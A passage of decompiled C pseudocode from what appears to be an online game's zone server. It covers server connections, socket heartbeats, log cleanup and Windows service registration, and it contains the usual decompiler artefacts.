*))PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; strncpy(v1->zipc_NextIP.n4_name, byte_5A62A6, 0x10u); v2 = (int)&v1->zipc_IPAddress[0].addr.n4_name[8]; v3 = 12; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_5A62A6, 0x10u); v2 += 18; --v3; } while ( v3 ); } //----- (00539AD0) -------------------------------------------------------- unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this) { ClockWatch *v1; // esi@1 DWORD v2; // eax@1 unsigned int v3; // edi@1 int v4; // eax@1 unsigned __int64 v5; // kr00_8@1 unsigned __int64 v6; // ST00_8@1 unsigned __int64 v7; // qax@1 v1 = this; v2 = timeGetTime(); v3 = v2; v4 = v2 - v1->cw_LastMilliSec; v5 = (unsigned int)v4 + v1->cw_TotalMilliSec; v6 = (unsigned int)v4 + v1->cw_TotalMilliSec; v1->cw_CurrMilliSec = v3; v1->cw_TotalMilliSec = v5; v7 = 10 * v6 / 0x3E8; HIDWORD(v7) = 10 * (v3 - v1->cw_LastMilliSecByDelta) / 0x3E8; *(_QWORD *)&v1->cw_CurrTick = v7; v1->cw_LastMilliSec = v3; if ( HIDWORD(v7) ) v1->cw_LastMilliSecByDelta = v3; return v7; } //----- (00539B50) -------------------------------------------------------- void __cdecl message(char *msg) { _iobuf *v1; // esi@1 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); } //----- (00539B80) -------------------------------------------------------- void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this) { CWeaponTitle::CWeaponTitle(&this->baseclass_0); } //----- (00539BB0) -------------------------------------------------------- CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this) { return (CServerInfo *)&this->zs_serverinfo; } //----- (00539BC0) -------------------------------------------------------- CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this) { return (CServerInfo::MY_SERVER *)&this->gap40[1256]; } //----- (00539BD0) -------------------------------------------------------- void __thiscall ZoneServer::zs_serviceend(ZoneServer *this) { ZoneServer *v1; // esi@1 bool v2; // zf@1 v1 = this; v2 = this->zs_mainthread.activ == 0; this->zs_mainthread.stop = 1; if ( !v2 ) { do Sleep(5u); while ( v1->zs_mainthread.activ ); } } //----- (00539BF0) -------------------------------------------------------- char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this) { return &this->gap40[1292]; } //----- (00539C00) -------------------------------------------------------- char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere) { ZoneServer *v3; // esi@1 CServerInfo *v4; // edi@1 char result; // al@2 CServerInfo::SERVER_INFO *v6; // [sp+0h] [bp-24h]@0 int v7; // [sp+4h] [bp-20h]@0 int v8; // [sp+8h] [bp-1Ch]@0 int v9; // [sp+Ch] [bp-18h]@0 int v10; // [sp+10h] [bp-14h]@0 v3 = this; v4 = (CServerInfo *)&this->zs_serverinfo; if ( CServerInfo::GetServerInfo((CServerInfo *)&this->zs_serverinfo, v6, v7, v8, v9, v10) || CServerInfo::GetServerInfo(v4, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], *(_DWORD *)&v3->gap40[1272], 0) || CServerInfo::GetServerInfo(v4, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], 0, *(_DWORD *)&v3->gap40[1264]) ) result = 1; else result = CServerInfo::GetServerInfo(v4, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], 0, 0) != 0; return result; } //----- (00539CA0) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session) { ZoneServer *v2; // ebx@1 int v3; // eax@2 int v5; // esi@4 Name4 *v6; // eax@4 unsigned int v7; // ecx@4 char *v8; // ecx@4 _iobuf *v9; // edi@4 Name4 *v10; // eax@4 unsigned int v11; // ecx@4 char *v12; // ecx@4 Name4 *v13; // eax@5 char buffer[64]; // [sp+8h] [bp-44h]@4 v2 = this; if ( !session->m_Status ) { v3 = ZoneIPContainer::zipc_GetNextZoneNo(&zipc, *(unsigned int *)&zoneserver.gap40[1272]); if ( v3 == -1 ) return 0; v5 = v3 + 100 * (*(_DWORD *)&zoneserver.gap40[1268] + 120); v6 = ZoneIPContainer::zipc_GetNextIP(&zipc); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->n4_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->n4_name[8]; *((_DWORD *)v8 + 3) = *(_DWORD *)&v6->n4_name[12]; v8[16] = 0; sprintf(buffer, "Try to connect[%s:%d]"); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); v10 = ZoneIPContainer::zipc_GetNextIP(&zipc); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)&v10->n4_name[0]; *((_DWORD *)v12 + 1) = *(_DWORD *)&v10->n4_name[4]; *((_DWORD *)v12 + 2) = *(_DWORD *)&v10->n4_name[8]; *((_DWORD *)v12 + 3) = *(_DWORD *)&v10->n4_name[12]; v12[16] = 0; if ( ZoneBaseSession::Connect(session, v12, v5, &v2->zs_IOCP) ) { v13 = ZoneIPContainer::zipc_GetNextIP(&zipc); NameString::operator__(&namestring, v13); sprintf(buffer, "Connect Success[%s:%d]"); message(buffer); session->m_Status = 2; } } return 1; } //----- (00539E20) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit) { ZoneServer *v4; // ebx@1 int v5; // esi@1 _iobuf *v7; // esi@4 CServerInfo::SERVER_INFO serverinfo; // [sp+Ch] [bp-68h]@2 char buffer[64]; // [sp+30h] [bp-44h]@4 v4 = this; v5 = -1; if ( !session->m_Status ) { if ( !ZoneServer::zs_Getportinfo(this, &serverinfo, towhere) ) { AssertClass::ac_AssertFail( &shineassert, "ZoneServer::zs_serverconnect : No serverinfo for connect to server", towhere); return 0; } sprintf(buffer, "Try to connect[%s:%d]%d"); v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); v5 = 0; if ( limit > 0 ) { while ( !ZoneBaseSession::Connect(session, serverinfo.pIP, serverinfo.nPort, &v4->zs_IOCP) ) { Sleep(0x64u); ++v5; if ( v5 >= limit ) return v5 < limit; } if ( v5 < limit ) { session->m_LastHeartBeatSendTime = CGTimer::GetTime(); session->m_Status = 2; } } } return v5 < limit; } //----- (00539F40) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this) { ZoneServer *v1; // edi@1 int v3; // ebx@7 int v4; // eax@12 int v5; // eax@13 int datanum; // [sp+8h] [bp-90h]@7 CServerInfo::SERVER_INFO serverinfo; // [sp+Ch] [bp-8Ch]@8 CServerInfo::SERVER_INFO clientinfo; // [sp+30h] [bp-68h]@1 char buffer[64]; // [sp+54h] [bp-44h]@14 v1 = this; if ( !CServerInfo::GetServerInfo( (CServerInfo *)&v1->zs_serverinfo, &clientinfo, *(_DWORD *)&v1->gap40[1264], *(_DWORD *)&this->gap40[1268], *(_DWORD *)&v1->gap40[1272], 20) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : No data for client listen", 0); return 0; } if ( !ClientSessionManager::InitSessions(&v1->zs_clientsessionmanager, clientinfo.nMaxAccept) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Init session fail", 0); return 0; } if ( !CSocket_Acceptor::Listen_Start(&v1->zs_Acceptor) ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Start_Acceptor : Listen Start fail", 0); return 0; } v3 = 0; datanum = CServerInfo::GetNumOfData((CServerInfo *)&v1->zs_serverinfo); if ( datanum <= 0 ) return 1; while ( 1 ) { if ( !CServerInfo::GetServerInfo((CServerInfo *)&v1->zs_serverinfo, &serverinfo, v3) || serverinfo.nServerID != *(_DWORD *)&v1->gap40[1264] || serverinfo.nWorldNo != *(_DWORD *)&v1->gap40[1268] || serverinfo.nZoneNo != *(_DWORD *)&v1->gap40[1272] ) goto LABEL_15; v4 = CSocket_Acceptor::Listen_Add( &v1->zs_Acceptor, serverinfo.pIP, serverinfo.nPort, serverinfo.nServerIDFrom, serverinfo.nBackLog); if ( AssertClass::operator__(&shineassert, v4, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; v5 = CSocket_Acceptor::Listen_Add( &v1->zs_Acceptor, serverinfo.pIP, *(_DWORD *)&zoneserver.gap40[1272] + 100 * (*(_DWORD *)&zoneserver.gap40[1268] + 120), 0x64u, 3); if ( AssertClass::operator__(&shineassert, v5, "ZoneServer::zs_Start_Acceptor : Listen fail", 0) ) return 0; sprintf(buffer, "Listen from Zone[%d]"); message(buffer); LABEL_15: ++v3; if ( v3 >= datanum ) return 1; } } //----- (0053A160) -------------------------------------------------------- unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param) { int v1; // edi@2 *((_BYTE *)param + 16) = 1; *((_BYTE *)param + 17) = 0; *((_DWORD *)param + 7) = 0; do { v1 = *((_DWORD *)param + 3); if ( *((_DWORD *)param + 7) == v1 ) FunctionCallingAnalyzer::fca_printf(&funcallanalizer, "ShineStackStruct"); *((_DWORD *)param + 7) = v1; Sleep(0x2710u); } while ( !*((_BYTE *)param + 17) ); *((_BYTE *)param + 16) = 0; return 0; } //----- (0053A1C0) -------------------------------------------------------- int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session) { ZoneBaseSession *v3; // esi@1 ZoneBaseSession::SESSION_STATUS v4; // eax@1 signed int i; // edi@3 int v6; // eax@5 int v7; // eax@6 v3 = session; v4 = session->m_Status; if ( (signed int)v4 > 0 && (signed int)v4 <= 2 ) { for ( i = 0; i < 1000; ++i ) { v6 = v3->m_Packet.vfptr->IsValidPacket(&v3->m_Packet); if ( !v6 ) { if ( v3->m_Packet.vfptr->RemoveAllUsedPacket(&v3->m_Packet) ) ZoneBaseSession::Receive(v3); return 0; } v7 = v6 - 1; if ( !v7 ) { v3->vfptr->zbs_Parsing(v3, 0, 65535u); v3->m_Packet.vfptr->TakeNextPacket(&v3->m_Packet); ++sleepmanager.sm_PacketNumber; return 0; } if ( v7 == 1 ) { v3->m_Packet.vfptr->GetPacketSize(&v3->m_Packet, (int *)&session); if ( (signed int)session >= 0 ) { v3->m_Packet.vfptr->GetIDPtr(&v3->m_Packet); v3->m_Status = 3; } return 1; } } } return 2; } //----- (0053A2A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3) { char result; // al@1 *(_BYTE *)(this + 92240) = a0; result = a2; *(_BYTE *)(this + 92241) = a1; *(_BYTE *)(this + 92242) = a2; *(_BYTE *)(this + 92243) = a3; return result; } //----- (0053A2D0) -------------------------------------------------------- void __cdecl EraseOldLogList(char *filename) { char *v1; // edi@1 int v2; // esi@1 signed int v3; // ecx@1 bool v4; // zf@1 _iobuf *v5; // esi@6 char *v6; // eax@8 unsigned int v7; // edx@8 char v8; // cl@9 v1 = filename; v2 = (int)"ChargedItemLog"; v3 = 15; v4 = 1; do { if ( !v3 ) break; v4 = *(_BYTE *)v2++ == *v1++; --v3; } while ( v4 ); if ( !v4 ) { if ( erasenum >= 128 ) { v5 = fopen("Message.txt", "w"); fprintf(v5, "void EraseOldLogList(char *filename)\n"); fclose(v5); ShineExit("EraseOldLogList"); } v6 = filename; v7 = &erasefile[128 * erasenum] - filename; do { v8 = *v6; v6[v7] = *v6; ++v6; } while ( v8 ); ++erasenum; } } //----- (0053A350) -------------------------------------------------------- int __cdecl EraseLog() { int result; // eax@1 unsigned int v1; // esi@2 tm *v2; // eax@3 int v3; // ebx@3 char *v4; // eax@5 char v5; // cl@6 char *v6; // edi@7 char v7; // al@8 __int16 v8; // ax@9 HANDLE v9; // ebp@9 unsigned int v10; // eax@10 char *v11; // esi@10 char *v12; // edi@10 int v13; // eax@11 bool v14; // sf@16 unsigned __int8 v15; // of@16 char *v16; // [sp+0h] [bp-258h]@2 unsigned int v17; // [sp+4h] [bp-254h]@2 int k; // [sp+8h] [bp-250h]@1 signed int lastmonth; // [sp+Ch] [bp-24Ch]@3 int timevar; // [sp+10h] [bp-248h]@3 _WIN32_FIND_DATAA FindData; // [sp+14h] [bp-244h]@7 char path[255]; // [sp+154h] [bp-104h]@2 result = erasenum; k = 0; if ( erasenum > 0 ) { v1 = path - erasefile; v16 = erasefile; v17 = path - erasefile; do { mysecond(&timevar); v2 = localtime(&timevar); v3 = v2->tm_mon + 1; lastmonth = v2->tm_mon; if ( !lastmonth ) lastmonth = 12; v4 = v16; do { v5 = *v4; v4[v1] = *v4; ++v4; } while ( v5 ); v6 = &FindData.cAlternateFileName[15]; do v7 = (v6++)[1]; while ( v7 ); v8 = *(_WORD *)"t"; *(_DWORD *)v6 = *(_DWORD *)"*.txt"; *((_WORD *)v6 + 2) = v8; v9 = FindFirstFileA(path, &FindData); if ( v9 != (HANDLE)-1 ) { v10 = strlen(v16); v11 = &FindData.cFileName[v10 + 4]; v12 = &FindData.cFileName[v10 + 5]; do { v13 = *v12 + 10 * *v11 - 528; if ( v13 != v3 ) { if ( v13 != lastmonth ) DeleteFileA(FindData.cFileName); } } while ( FindNextFileA(v9, &FindData) ); FindClose(v9); v1 = v17; } result = k + 1; v1 -= 128; v15 = __OFSUB__(k + 1, erasenum); v14 = k++ + 1 - erasenum < 0; v17 = v1; v16 += 128; } while ( v14 ^ v15 ); } return result; } //----- (0053A4B0) -------------------------------------------------------- WinService *__cdecl Singleton::getInstance() { WinService *result; // eax@1 void *v1; // eax@2 int v2; // eax@3 void *v3; // [sp+0h] [bp-10h]@2 result = (WinService *)Singleton::selfInstance; if ( !Singleton::selfInstance ) { v1 = operator new(0x44u); v3 = v1; if ( v1 ) WinService::WinService((WinService *)v1); else v2 = 0; Singleton::selfInstance = v2; (**(void (__cdecl ***)(_DWORD))v2)(v3); result = (WinService *)Singleton::selfInstance; } return result; } // 12570A20: using guessed type int Singleton_WinService___selfInstance; //----- (0053A520) -------------------------------------------------------- void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere) { signed int v4; // ebp@1 char *v5; // edi@1 DebugLogging *v6; // eax@5 DebugLogging *v7; // esi@5 _iobuf *v8; // eax@7 DebugLogging *v9; // eax@12 char *v10; // [sp-8h] [bp-18h]@10 v4 = 0; v5 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { if ( *((_DWORD *)v5 + 63) > clockwatch.cw_CurrTick ) return; v5[256] = 0; v6 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v7 = DebugLogging::operator<<(v6, " Socket cut - try reconnect "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, " : reconnect "); if ( ZoneServer::zs_ServerConnect(zone, (ZoneBaseSession *)(v5 - 4), towhere, 1) ) v10 = "success"; else v10 = (char *)&stru_5C2F64.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit; v9 = DebugLogging::operator<<(&SocketMultiplicateLog, v10); DebugLogging::operator<<(v9, &deb_LF); } ++v4; v5 += 264; } while ( v4 < 4 ); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053A610) -------------------------------------------------------- void __thiscall SleepManager::sm_Sleep(SleepManager *this) { SleepManager *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Sleep"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Sleep"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Sleep(1u); v1->sm_LoopNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Sleep"); } //----- (0053A680) -------------------------------------------------------- void __thiscall SleepManager::sm_Routine(SleepManager *this) { SleepManager *v1; // esi@1 int v2; // eax@1 int v3; // edx@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SleepManager::sm_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SleepManager::sm_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->sm_PacketNumber; if ( v1->sm_MaxPacketInLoop < v1->sm_PacketNumber ) v1->sm_MaxPacketInLoop = v2; v3 = v1->sm_LoopNumber; if ( 2500 * v2 / v1->sm_MaxPacketInLoop >= v3 * v3 ) v1->sm_LoopNumber = v3 + 1; else SleepManager::sm_Sleep(v1); v1->sm_PacketNumber = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SleepManager::sm_Routine"); } //----- (0053A750) -------------------------------------------------------- void __thiscall ZoneServer::_ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 v1 = this; ClientSessionManager::_ClientSessionManager(&this->zs_clientsessionmanager); CSocket_Acceptor::_CSocket_Acceptor(&v1->zs_Acceptor); CIOCP::_CIOCP(&v1->zs_IOCP); CCsl::_CCsl((CCsl *)&v1->zs_serverinfo); } //----- (0053A7C0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this) { ZoneServer *v1; // esi@1 HANDLE v2; // eax@1 char result; // al@4 v1 = this; this->zs_stackcheck.stop = 0; this->zs_stackcheck.activ = 0; v2 = CreateThread(0, 0, ZoneServer::zs_stackcheckfunc, this, 0, &this->zs_stackcheck.id); v1->zs_stackcheck.handle = v2; if ( v2 ) { while ( v1->zs_stackcheck.activ != 1 ) Sleep(5u); result = 1; } else { result = 0; } return result; } //----- (0053A810) -------------------------------------------------------- #error "53A810: undefined or illegal type '#325' (funcsize=191)" //----- (0053AAB0) -------------------------------------------------------- bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 signed int v3; // esi@1 char *v4; // eax@1 String *v5; // edi@2 const char *v6; // edi@5 const char *v7; // ebx@5 WinService *v8; // ebp@5 int v9; // eax@9 const char *v10; // esi@17 bool result; // al@20 String v12; // [sp-40h] [bp-4F0h]@9 String v13; // [sp-30h] [bp-4E0h]@9 String v14; // [sp-20h] [bp-4D0h]@9 void *v15; // [sp-14h] [bp-4C4h]@17 String *v16; // [sp+0h] [bp-4B0h]@9 String cmd_UPLOAD; // [sp+4h] [bp-4ACh]@1 void *pMsg[6]; // [sp+14h] [bp-49Ch]@14 int QueryResult; // [sp+2Ch] [bp-484h]@6 String *v20; // [sp+30h] [bp-480h]@9 String cmd_REMOVE; // [sp+34h] [bp-47Ch]@1 String *v22; // [sp+44h] [bp-46Ch]@9 String command[5]; // [sp+48h] [bp-468h]@1 char delimit[5]; // [sp+98h] [bp-418h]@1 char moduleName[1024]; // [sp+A0h] [bp-410h]@5 unsigned int cookie; // [sp+4A0h] [bp-10h]@20 int v27; // [sp+4ACh] [bp-4h]@1 v2 = this; String::String(&cmd_UPLOAD, "UPLOAD"); v27 = 0; String::String(&cmd_REMOVE, "REMOVE"); LOBYTE(v27) = 1; _eh_vector_constructor_iterator_( command, 0x10u, 5, (void (__thiscall *)(void *))String::String, (void (__thiscall *)(void *))String::_String); strcpy(delimit, " \t,\""); LOBYTE(v27) = 2; v3 = 0; v4 = _mbstok(cmdLine, delimit); if ( v4 ) { v5 = command; do { if ( v3 >= 5 ) break; String::operator_(v5, v4); ++v3; ++v5; v4 = _mbstok(0, delimit); } while ( v4 ); } v6 = *(const char **)&v2->gap40[1256]; v7 = *(const char **)&v2->gap40[1260]; v8 = Singleton::getInstance(); GetModuleFileNameA(0, moduleName, 0x400u); if ( v3 < 1 ) { if ( WinService::queryServiceStatus(v8, (unsigned int *)&QueryResult, 0, v6) ) { v9 = 0; goto checkval; } String::operator_(command, &cmd_UPLOAD); } String::makeUpper(command); if ( operator__(command, &cmd_UPLOAD) ) { v22 = &v14; String::String(&v14, moduleName); v20 = &v13; LOBYTE(v27) = 3; String::String(&v13, v7); v16 = &v12; LOBYTE(v27) = 4; String::String(&v12, v6); LOBYTE(v27) = 2; v9 = (WinService::uploadService(v8, v12, v13, v14) == 0) + 1; } else { if ( operator__(command, &cmd_REMOVE) ) { v16 = &v14; String::String(&v14, v6); v9 = 4 - (WinService::removeService(v8, v14) != 0); } else { v9 = 5; } } checkval: pMsg[0] = ""; pMsg[1] = ""; pMsg[2] = ""; pMsg[3] = ""; pMsg[4] = ""; pMsg[5] = ""; if ( !v9 ) { v15 = ""; _DebugMessageNew(1, "Msg", "%s"); LABEL_19: LOBYTE(v27) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v27) = 0; String::_String(&cmd_REMOVE); v27 = -1; String::_String(&cmd_UPLOAD); goto LABEL_20; } if ( v9 <= 0 || v9 > 5 ) goto LABEL_19; v15 = pMsg[v9]; v10 = (const char *)v15; _DebugMessageNew(1, "Msg", "%s"); MessageBoxA(0, v10, v7, 0); LOBYTE(v27) = 1; _eh_vector_destructor_iterator_(command, 0x10u, 5, (void (__thiscall *)(void *))String::_String); LOBYTE(v27) = 0; String::_String(&cmd_REMOVE); v27 = -1; String::_String(&cmd_UPLOAD); LABEL_20: __security_check_cookie(cookie); return result; } //----- (0053ADD0) -------------------------------------------------------- void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)this->sb_SocketStr; do { if ( !(**(int (__thiscall ***)(char *, signed int))v3)(v3, 30) ) { ZoneBaseSession::Close((ZoneBaseSession *)v3); *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 64) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[260] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by heartbeat "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053AED0) -------------------------------------------------------- void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone) { char *v3; // edi@1 DebugLogging *v4; // eax@5 DebugLogging *v5; // esi@5 _iobuf *v6; // eax@7 DebugLogging *v7; // esi@9 _iobuf *v8; // eax@11 _iobuf *v9; // eax@16 bool v10; // sf@17 unsigned __int8 v11; // of@17 int k; // [sp+10h] [bp-8h]@1 SocketBundle *v13; // [sp+14h] [bp-4h]@1 v13 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( (*(_DWORD *)v3 == 1 || *(_DWORD *)v3 == 2) && ZoneServer::zs_PacketProcess(zone, flag, (ZoneBaseSession *)(v3 - 4)) ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v13->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Cut by invalid packet "); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } if ( DebugLogging::dl_ActivAll && v7->dl_Activ ) { if ( v7->dl_FilePointer ) { v9 = DebugLogging::dl_FilePoint(v7); fputc(10, v9); fflush(v7->dl_FilePointer); fclose(v7->dl_FilePointer); v7->dl_FilePointer = 0; } } } } v3 += 264; v11 = __OFSUB__(k + 1, 4); v10 = k++ - 3 < 0; } while ( v10 ^ v11 ); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053B050) -------------------------------------------------------- void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag) { SocketBundle *v2; // ebp@1 char *v3; // esi@1 DebugLogging *v4; // eax@3 DebugLogging *v5; // eax@3 DebugLogging *v6; // edi@3 _iobuf *v7; // eax@5 _iobuf *v8; // eax@10 bool v9; // sf@11 unsigned __int8 v10; // of@11 int k; // [sp+10h] [bp-4h]@1 v2 = this; k = 0; v3 = (char *)&this->sb_SocketStr[0].socket.baseclass_0.m_Status; do { if ( *(_DWORD *)v3 == 3 ) { ZoneBaseSession::Close((ZoneBaseSession *)(v3 - 4)); *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 63) = clockwatch.cw_CurrTick + 10 * v2->sb_ReconnectInterval; v3[256] = 0; v4 = DebugLogging::operator<<(&SocketMultiplicateLog, flag); v5 = DebugLogging::operator<<(v4, " Close during SESSION_STATUS_CLOSEING "); v6 = v5; if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { if ( v6->dl_FilePointer ) { v8 = DebugLogging::dl_FilePoint(v6); fputc(10, v8); fflush(v6->dl_FilePointer); fclose(v6->dl_FilePointer); v6->dl_FilePointer = 0; } } } } v3 += 264; v10 = __OFSUB__(k + 1, 4); v9 = k++ - 3 < 0; } while ( v9 ^ v10 ); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0053B150) -------------------------------------------------------- void __thiscall ZoneServer::ZoneServer(ZoneServer *this) { ZoneServer *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->zs_serverinfo; CServerInfo::CServerInfo((CServerInfo *)&this->zs_serverinfo); *((_DWORD *)v2 + 326) = 0; *((_DWORD *)v2 + 325) = 0; *((_DWORD *)v2 + 324) = 0; *((_DWORD *)v2 + 323) = 0; CIOCP::CIOCP(&v1->zs_IOCP); CSocket_Acceptor::CSocket_Acceptor(&v1->zs_Acceptor); ClientSessionManager::ClientSessionManager(&v1->zs_clientsessionmanager); } //----- (0053B1E0) -------------------------------------------------------- int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine) { ZoneServer *v2; // ebp@1 int v3; // eax@1 char v4; // cl@2 int i; // eax@3 _iobuf *v6; // esi@6 int v7; // eax@9 int v8; // edi@19 WinService *v9; // eax@21 int result; // eax@22 String v11; // [sp-28h] [bp-448h]@21 char *v12; // [sp-1Ch] [bp-43Ch]@21 const char *v13; // [sp-18h] [bp-438h]@21 size_t v14; // [sp-14h] [bp-434h]@6 String *v15; // [sp+0h] [bp-420h]@9 CServerInfo::WORLD_NAME worldname; // [sp+4h] [bp-41Ch]@19 char fileName[1024]; // [sp+10h] [bp-410h]@1 unsigned int cookie; // [sp+410h] [bp-10h]@22 int v19; // [sp+41Ch] [bp-4h]@21 v2 = this; GetModuleFileNameA(0, fileName, 0x400u); v3 = (int)fileName; do v4 = *(_BYTE *)v3++; while ( v4 ); for ( i = v3 - (_DWORD)&fileName[1] - 1; i >= 0; --i ) { if ( fileName[i] == 92 ) break; } v14 = (size_t)fileName; fileName[i] = 0; _chdir((const char *)v14); ShineObjectClass::ShineObject::so_Initstaticvar(); v6 = fopen("../9Data/ServerInfo/_ServerGroup.txt", "r"); if ( v6 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start : Fail to read ServerGroup.txt", 